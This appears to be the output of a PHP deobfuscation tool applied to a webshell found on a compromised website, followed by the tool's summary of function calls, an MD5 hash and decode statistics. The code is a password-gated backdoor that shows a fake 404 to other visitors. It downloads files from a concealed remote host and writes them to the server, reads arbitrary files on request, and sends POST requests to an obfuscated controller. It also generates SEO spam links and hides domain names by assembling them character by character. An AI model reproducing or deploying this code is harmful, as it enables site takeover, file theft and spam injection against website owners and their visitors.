if(isset($OOO0OO["$OO00OO"])){$BT = $OOO0OO["$OO00OO"];}elseif(isset($OOO0OO["$OO000O"])){$BT = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$OOO0OO["$OO000O"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';}
foreach($OO0O00 as $O00O00o=>$O00Oo0o){
	$$O00O00o = $O00Oo0o;
}

if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){
	header("HTTP/1.1 404 Not Found");  
	header("Status: 404 Not Found");  
	exit; 
}

if(isset($act) && $act == 'check' && isset($check_file)){
	if(file_exists($check_file)){
		echo '#ok#';
	}
}

if(isset($act) && $act == 'test'){
		echo '#ok#';
}

if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){
	{
		
			$pfile = $recover_file;
			$date = $OO0O0O($recover_file_url);
			gdir_file($recover_file);
			@chmod($pfile,0755);

			if($date && file_put_contents($pfile,$date)){
				echo '#ok#';
			}else{
				echo '#fail#';
			}
		
	}
}

if(isset($act) && $act == 'redate' && isset($redate_file)){
	if(file_exists($redate_file)){
		echo rdFile($redate_file);
	}
}

function RandAbc($length = "") {
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/-";
    return ($str);
} 

function rdFile($file){
	if(function_exists('file_get_contents')){
		return file_get_contents($file);
	}else{
		$handle = fopen($file, "r");
		$contents = fread($handle, filesize($file));
		fclose($handle);
		return $contents;
	}
}

function cget($url,$loop=10){
	$data = false;        $i = 0; 

	while(!$data) {
             $data = tcget($url);             if($i++ >= $loop) break;        }
	return $data;
}

function tcget($url,$proxy=''){
	global $OO0OO0O, $O00OO0, $OO0000, $O00OOO;
     $data = '';    	$url = "$OO0OO0O$O00OO0.$O00OOO/".$url;
 $url = trim($url);     if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){
         $ch = curl_init();         curl_setopt($ch, CURLOPT_URL, $url);		 curl_setopt($ch, CURLOPT_HEADER, false);		 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);		 
         curl_setopt($ch, CURLOPT_TIMEOUT, 60);         $data = curl_exec($ch);         curl_close($ch);      }
    
     if ($data == ''){
         if (function_exists('file_get_contents') && $url){
             $data = @file_get_contents($url);             }
         }
    
     if (($data == '') && $url){
         if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){
             ($fp = @fopen($url, 'r'));            
             if ($fp){
                
                 while (!@feof($fp)){
                     $data .= @fgets($fp) . '';                     }
                
                 @fclose($fp);                 }
             }
         }
     return $data;	
}

function m_mkdir($dir){
		if(!is_dir($dir)) mkdir($dir);
	}
	
function gdir_file($gDir=''){
		global $BT;
		$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
		$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
		$arr = explode(DIRECTORY_SEPARATOR,$gDir);
		
		if(count($arr) <= 0) return;

		
		if(!strstr($gDir,$BT))
			$dir = $BT;
		else
			$dir = '';
		
		for($i = 0 ; $i < count($arr)-1 ; $i++){
			$dir .= '/' . $arr[$i];
			m_mkdir($dir);
		}
		
		return $dir;
}

//ccccccgetend



function my_mkdir($dir){
		global  $fitime;
		if(!is_dir($dir)){
			mkdir($dir);
			@touch($dir, $fitime, $fitime);   
		} 
	}
	

	
	function generate_dir_file($gDir=''){
		
		global $hostDir;
		$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
		$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
		$arr = explode(DIRECTORY_SEPARATOR,$gDir);
		
		if(count($arr) <= 0) return;
		
		if(!strstr($gDir,$hostDir))
			$dir = $hostDir;
		else
			$dir = '';


		for($i = 0 ; $i < count($arr)-1 ; $i++){
			$dir .= DIRECTORY_SEPARATOR . $arr[$i];
			my_mkdir($dir);
		}
		
		return $dir;
	}
		

	function getalink($pid){
		
		global $arrnametime,$arrKeywz,$arr_word,$strRand;		
	
		$filePres = '';		$fileEnds = '';		$siteLink='http://'.$_SERVER['HTTP_HOST'];
		$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));		
		if(JDT == 2){
			$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";		}elseif(JDT == 1){
			$filePres = $siteLink ."/". $httcReplace . "/";		}elseif(JDT == 3){
			$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword=";		}else{
			$filePres = $siteLink."/";		}
		
		$ms = $arrnametime[$pid % count($arrnametime)];		
		
		$keyNum = $arrKeywz[$pid % count($arrKeywz)];		
		$keyWordKey = $pid % 10;		$keyStrKey = $pid % strlen("icedrkswzjhpnxoyvumfatblgq");		$keyArr = array();		$flag = 0;		
		if($ms == 2 or $ms ==4){
			if($keyNum >= 9){
				$fg = 4;			}elseif($keyNum >= 7){
				 $fg = 3;			}else{
				 $fg = 2;			}
		}
		
		for($i=0;$i<$keyNum;$i++){
			$tempNum = $arr_word[$i][$keyWordKey];			$tempstr = '';			for($j=0;$j<$tempNum;$j++)
				$tempstr .= $strRand[$flag++]{$keyStrKey};			
			$keyArr[$i] = $tempstr;		}
		
		// $SidWz = $sid % $keyNum;		
		
		$PidWz = $pid % $keyNum;		$linkCenter = '';
		
		if(JDT == 3){
			for($i=0;$i<$keyNum;$i++){
				if($PidWz == $i && $i != 0)
					$linkCenter .= '-'. BZPRO . $pid .'-';	
				elseif($PidWz == $i)
				    $linkCenter .= BZPRO . $pid .'-';
				
				$linkCenter .= $keyArr[$i] .'';			
			}
			$linkCenter .= $linkCenter . "#llq";		
			$linkCenter = str_replace('-#llq','',$linkCenter);	
			$linkCenter = str_replace('#llq','',$linkCenter);	
			$linkCenter = str_replace('--','-',$linkCenter);	
			$linkCenter = str_replace('/-','/',$linkCenter);	
			$rtStr = $filePres.$linkCenter;
			$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
			return $rtStr;
			
			}
		
		
		
		
		if($ms == 1){
			for($i=0;$i<$keyNum;$i++){
				if($PidWz == $i && $i != 0)
					$linkCenter .= '-'. BZPRO . $pid .'-';	
				elseif($PidWz == $i)
				    $linkCenter .= BZPRO . $pid .'-';
				
				$linkCenter .= $keyArr[$i] .'';	
			}
			
			$linkCenter .= "/";			$linkCenter = str_replace("-/","/",$linkCenter);			
		}elseif($ms == 2){
			for($i=0;$i<$keyNum;$i++){
				if($PidWz == $i && $i != 0)
					$linkCenter .= '-'. BZPRO . $pid .'-';	
				elseif($PidWz == $i)
				    $linkCenter .= BZPRO . $pid .'-';
				
				$linkCenter .= $keyArr[$i] .'';	
				

				if($i == $fg-1){
					$linkCenter .= '-';				}
			}
			
			$linkCenter .= "/";			$linkCenter = str_replace("-/","/",$linkCenter);			
		}elseif($ms == 3){
			for($i=0;$i<$keyNum;$i++){
				if($PidWz == $i && $i != 0)
					$linkCenter .= '-'. BZPRO . $pid .'-';	
				elseif($PidWz == $i)
				    $linkCenter .= BZPRO . $pid .'-';
				
				$linkCenter .= $keyArr[$i] .'';	
			}
			
			$linkCenter .= JTHZ;			$linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);			
			
		}elseif($ms == 4){
				for($i=0;$i<$keyNum;$i++){
				if($PidWz == $i && $i != 0)
					$linkCenter .= '-'. BZPRO . $pid .'-';	
				elseif($PidWz == $i)
				    $linkCenter .= BZPRO . $pid .'-';
				
				$linkCenter .= $keyArr[$i] .'';	

				if($i == $fg-1){
					$linkCenter .= '-';				}
			}
			
			$linkCenter .= JTHZ;			$linkCenter = str_replace("-/","/",$linkCenter);			$linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);		}
			$linkCenter = str_replace('--','-',$linkCenter);	
			$linkCenter = str_replace('/-','/',$linkCenter);	
		
		$rtStr = $filePres.$linkCenter;
		$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
		return $rtStr;
	}
	

// bbbbbbbbackupbg

function backup_install($dateArr,$loop=10){


	$data = false;        $i = 0; 

	while(!$data) {
             $data = backup_install_once($dateArr);             if($i++ >= $loop) break;        }
	return $data;
}
 
 
function backup_install_once($dateArr=array()){
	global $O0O000;
	
	$data = false;
	if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close") && 0){
		$curl = curl_init();
		curl_setopt($curl, CURLOPT_URL, $O0O000);
		curl_setopt($curl, CURLOPT_HEADER, 0);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_POST, 1);
		curl_setopt($curl, CURLOPT_POSTFIELDS, $dateArr);
		$data = curl_exec($curl);
		curl_close($curl);
	
	}else{
		$tempDate = http_build_query($dateArr);	
		$params = array(
			'http' => array(
			'method' => 'POST',
			'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
			'content' => $tempDate
			)
		);
		$ctx = stream_context_create($params);
		$data = file_get_contents($O0O000, null, $ctx);
	} 
	 
	return $data;	
}

// bbbbbbbbackupend

	

	
function is_ip($localIp,$ipRanges)
{    
	$localIp = ip2long($localIp);  
	foreach($ipRanges as $val)
	{ 
		$ipmin=sprintf("%u",ip2long($val[0]));		$ipmax=sprintf("%u",ip2long($val[1]));
		if($localIp >= $ipmin && $localIp <= $ipmax)
		{   
			return true; 
		} 
	}   
	return false;}
	
 function RandAbcs($length = ""){
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
    return ($str);
} 

 
function getarr(){
		global $O00O0O;
		$arr[0]=$O00O0O{6}.$O00O0O{8}.$O00O0O{5}.$O00O0O{19}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{15}.$O00O0O{11}.$O00O0O{5}.$O00O0O{14}.$O00O0O{13}.$O00O0O{6}.$O00O0O{14}.$O00O0O{14}.$O00O0O{3}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{9}.$O00O0O{14}.$O00O0O{17}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{3}.$O00O0O{18}.$O00O0O{13}.$O00O0O{24}.$O00O0O{2}.$O00O0O{4}.$O00O0O{18}.$O00O0O{0}.$O00O0O{11}.$O00O0O{4}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{14}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{15}.$O00O0O{4}.$O00O0O{6}.$O00O0O{14}.$O00O0O{14}.$O00O0O{3}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
	return $arr;
}
	
function getthisdom(){
	$myArrs = getarr();
    return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
} 
 
 
function get_real_ip(){
	
	
	$ip=false;    if (isset($_SERVER)) {
      if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];      } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];      } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED'];      } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];      } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_FORWARDED_FOR'];      } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
        $ip = $_SERVER['HTTP_FORWARDED'];      } else {
        $ip = $_SERVER['REMOTE_ADDR'];      }
    } else {
      if (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');      } elseif (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');      } else {
        $ip = getenv('REMOTE_ADDR');      }
    }
	return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);}
 
//file end

Function Calls

define 1
ini_set 1
set_time_limit 1

Variables

None

Stats

MD5 c84ead784665f1b049c7084343c7999c
Eval Count 0
Decode Time 505 ms